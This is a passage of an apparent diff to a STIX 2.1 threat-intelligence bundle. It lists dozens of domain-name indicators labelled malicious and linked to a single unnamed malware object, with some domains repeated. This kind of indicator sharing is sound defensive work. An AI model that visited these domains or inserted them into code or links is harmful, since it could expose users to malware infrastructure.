"indicator--fa745a9d-3a13-40b5-9a1d-ca4825de942a", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--3e698038-d321-40ef-9c27-010c82ae343a", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='stayle.co']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--3ce2580c-ecb2-4b4b-84ca-7e62576af6ac", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--3e698038-d321-40ef-9c27-010c82ae343a", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--d437bd4e-f765-4788-bfef-6cebf6bfbfe6", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='eedloversra.online']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--c77f85e3-60f7-44ea-8d8e-8c297f49f1f5", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--d437bd4e-f765-4788-bfef-6cebf6bfbfe6", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--055b3f39-041a-4cb7-b0d7-933ff2c3f13d", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='sevensdfe.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--c7f76ebf-8b69-4feb-a32c-a7f4ee68d5b3", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--055b3f39-041a-4cb7-b0d7-933ff2c3f13d", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--eeb6eebc-8e70-40a1-9e59-7644a29a8010", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='dsudro.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--da7b786c-874b-4c3d-a279-5ff120ed13bc", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--eeb6eebc-8e70-40a1-9e59-7644a29a8010", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--d328729b-6095-4900-af53-6a097bd05699", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='gameboysess.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--2a1b1ab5-c5df-4247-87e4-56fb2947a7a6", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--d328729b-6095-4900-af53-6a097bd05699", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--2b92da5d-a4f0-418c-a549-52d563c16fc3", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='sseamb.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--7d0625d7-1168-43dc-b442-28584685a564", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--2b92da5d-a4f0-418c-a549-52d563c16fc3", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--bc7c74ba-e00f-4bb6-9e10-8562b152c033", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='healthcovid19.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--2a3fec1f-ac1e-4075-b5d6-fb01a93590e8", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--bc7c74ba-e00f-4bb6-9e10-8562b152c033", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--50c37456-54de-4b2e-8b90-489b279c7afb", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='noraplant.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--9203ebb8-5a2e-454c-b7ff-e00b86f77977", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--50c37456-54de-4b2e-8b90-489b279c7afb", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--fc110f81-e941-4412-b355-5df2e12261e5", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='fullstorelife.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--1a66fe93-3b9a-4858-b4d8-7c4a29e90d14", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--fc110f81-e941-4412-b355-5df2e12261e5", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--6cdb28dd-16e6-4f89-90c5-5fa6a621fcab", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='datacentertime.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--f7c7e1f1-212e-46fd-aba6-4535bcacdd76", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--6cdb28dd-16e6-4f89-90c5-5fa6a621fcab", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--be2169b0-ddfb-4bd9-9659-cdc70ca1e912", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='recover-your-body.xyz']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--c5b85827-54cd-4d18-ae00-82de1d7cfe33", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--be2169b0-ddfb-4bd9-9659-cdc70ca1e912", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--b56ea2a9-1479-4a4a-a9b2-7f59b55d9e1f", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='reloadyourbrowser.info']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--3f892aa4-cbcd-4bb9-ad17-7f75ad32f7b8", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--b56ea2a9-1479-4a4a-a9b2-7f59b55d9e1f", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--8b033223-b6b3-4ee2-857c-25297d52be77", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='comeandpet.me']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--59b2484a-2cfe-4444-af61-44010e12298e", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--8b033223-b6b3-4ee2-857c-25297d52be77", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--81c0b9a6-4b88-4f8a-9038-16b37e16d729", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='brushyourteeth.online']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--feaa04d0-c7bb-4720-9c27-7cbe17c9e12c", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--81c0b9a6-4b88-4f8a-9038-16b37e16d729", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--6ab5b05a-cc6c-4d47-85c8-f65b5e6902da", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='digital-mar.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--0fe8ff94-e0b9-4a4a-a069-747e87207dac", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--6ab5b05a-cc6c-4d47-85c8-f65b5e6902da", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--64e98447-8f6c-477d-ba56-4f380d9a1268", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='retailmark.net']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--3442daaa-90eb-49ca-864b-d6310668b3f5", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--64e98447-8f6c-477d-ba56-4f380d9a1268", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--9029f398-d15c-4685-a2b9-a4369424cc19", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='dsudro.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--dcba0397-e504-4a50-b8b8-d70aa82c092a", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--9029f398-d15c-4685-a2b9-a4369424cc19", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--e97965bb-7484-4add-b7e4-109677c872c2", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='studysliii.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--76df86ca-8eb7-4e24-a8b1-a83142b02323", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--e97965bb-7484-4add-b7e4-109677c872c2", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--c9d206c1-b864-48c4-b2f2-2a95f7254317", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='homeigardens.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--4db688a2-8a16-4c21-833b-da41b7467987", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--c9d206c1-b864-48c4-b2f2-2a95f7254317", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--1cb374a8-f115-4200-9ebb-b043f08af3d3", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='stayle.co']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--ad144e3c-ef8b-47bd-b5c5-6315d5a87de0", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--1cb374a8-f115-4200-9ebb-b043f08af3d3", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--20183e61-57d7-42dc-b3fd-edd6647aaab8", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='studysliii.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--9ff66777-e968-4198-ba75-6d871a78b045", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--20183e61-57d7-42dc-b3fd-edd6647aaab8", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--70047b4c-33a1-405e-bfcd-7a455e125248", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='goodsforuw.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--96ebf3a1-d681-46dd-903b-106b61661e34", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--70047b4c-33a1-405e-bfcd-7a455e125248", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--64a0a30a-7bfd-45f1-9ac1-28d345000be3", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='dsudro.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--8f9e758c-9834-4c5e-9690-3e3273ec3bdd", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--64a0a30a-7bfd-45f1-9ac1-28d345000be3", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--3c3e994a-2691-4c3b-b3d7-0156c8d0b0a3", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='sseamb.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--cc9ee237-721c-47b6-9b32-d5d557086389", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--3c3e994a-2691-4c3b-b3d7-0156c8d0b0a3", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--7afbf515-633b-4472-a915-c803ca1c3fbb", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='sevensdfe.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--c76bfe32-07c6-4ea0-b2c2-b6dcc2b0d55a", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--7afbf515-633b-4472-a915-c803ca1c3fbb", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--71d8714d-caa0-4e1b-b205-6afbaa0605b8", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='koraliowe.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--8e12feb6-64cf-469b-b009-ef7ed4c24140", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--71d8714d-caa0-4e1b-b205-6afbaa0605b8", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--5c4e67bc-9f41-45d7-9fad-8548d9fc9ad3", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='topuprr.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--6211045c-3e9f-4fef-abe5-c2abd9c71141", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--5c4e67bc-9f41-45d7-9fad-8548d9fc9ad3", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--9e02fb21-e244-452b-9f84-cb863f0f789d", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='zeebefg.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--425c6635-5725-4932-ae12-17a233bd1673", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--9e02fb21-e244-452b-9f84-cb863f0f789d", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--c2dfed99-80f9-4f25-af8f-6b10e82d90bc", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='takebreak.io']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--6f7ca3c3-e55c-45be-9ac0-b42efdabe00f", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--c2dfed99-80f9-4f25-af8f-6b10e82d90bc", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--3f2701a1-6a43-4c8a-9785-50163c46c0e4", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='forestaaa.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--f7bdc56a-fbba-4fd3-b0da-f37e7738019f", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--3f2701a1-6a43-4c8a-9785-50163c46c0e4", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--a56e2442-fa8d-4310-b3ad-e8799bf475b0", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='teachlearning.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--9323ac6c-6433-4623-86e9-cab3f04cd8c8", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--a56e2442-fa8d-4310-b3ad-e8799bf475b0", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--17699ced-c11d-406b-bf83-4fcdce6b8d06", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='newsbuiltin.online']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--c84df210-4e26-4e4b-aa55-9492b9d5ebe1", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--17699ced-c11d-406b-bf83-4fcdce6b8d06", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--7dc7ab4b-24cd-4a0c-95f4-607255d00541", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='jyfa.xyz']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--7721f0a7-4379-4ba2-a83f-49455e3d08cd", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--7dc7ab4b-24cd-4a0c-95f4-607255d00541", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--0dfe47a3-2e37-4454-8390-e7c533888e85", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='monvesting.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--7565ae05-0d88-485b-af21-3c35c9b2693a", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--0dfe47a3-2e37-4454-8390-e7c533888e85", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--4d76dd93-d866-4af8-ae5d-56b7c850e61e", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='teachlearning.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--b8391ded-00ec-44f1-85a8-4825c61c7236", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--4d76dd93-d866-4af8-ae5d-56b7c850e61e", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + 